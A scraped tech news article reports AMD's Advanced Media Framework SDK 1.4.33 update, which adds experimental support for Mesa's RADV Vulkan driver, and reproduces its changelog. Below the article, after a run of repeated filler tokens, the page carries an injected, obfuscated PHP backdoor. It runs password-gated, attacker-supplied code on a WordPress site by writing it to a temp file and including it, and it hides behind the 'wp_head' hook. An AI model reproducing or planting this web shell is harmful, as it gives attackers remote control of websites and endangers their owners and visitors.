AMD Latest Advanced Media Framework Update Features Support For MESA’s RADV Vulkan Driver

Veloz Lamma

AMD Latest Advanced Media Framework Update Features Support For MESA’s RADV Vulkan Driver

It seems like AMD has recognized the potential encapsulated in MESA’s RADV Vulkan drivers on Linux as they push out a new update, adding in “initial” support for the driver for a key software resource.

AMD Pushes Out MESA RADV Driver “Experimental Support” For Their Resource, Suggesting a Joint Approach In Future

The open-source RADV Vulkan driver has been shaped to be positioned in a competitive spot, especially when it comes to hardware support, constant optimization, and bug fixes. The RADV Vulkan driver was recently met with a wave of optimizations, which resulted in a boost of ray tracing performance up to 200%. Such improvements have made the RADV driver a much superior option when compared to AMD’s official “AMDVLK.” However, it seems like AMD might have recognized the immense potential held in MESA’s efforts, which is why the firm could come up with a “joint” approach moving ahead.

Phoronix reports that AMD has pushed out a new version of its Advanced Media Framework (AMF) SDK, which in simple terms is targeted at bringing in resources such as tools, libraries, and documentation to help developers leverage AMD’s hardware capabilities, especially in the context of GPU programming and parallel computing.

The resource makes the support of multimedia applications for AMD’s hardware much more seamless, ensuring widespread support across the APIs. However, the new version 1.4.33 has brought the AMF SDK support for the AMDGPU-PRO Vulkan driver, which is basically a package alongside the firm’s mainstream drivers. Here is the changelog:

– Added native DX12 support for encoding and PreAnalysis
– Vulkan encoder became independent from Vulkan driver
– Switched to public Vulkan Khronos extensions for decoder
– AMF on Linux can now be used with AMD Pro Vulkan, and experimentally with RADV drivers
– Improvements to sample presenters

However, the interesting part is the addition of “experimental support” with MESA’s RADV Vulkan drivers, which is a great move by AMD, considering the fact that RADV has seen widespread adoption from the Linux community and the developers are continuously working on it, in order to refine it into its best shape. The support for AMF SDK at RADV is encouraging, and it could hint that Team Red could change its approach with GPU drivers going into the future, but we will have to wait and see for now.

Share this story

Facebook

Twitter

SOURCE

Leave a Comment

ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT ArT if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}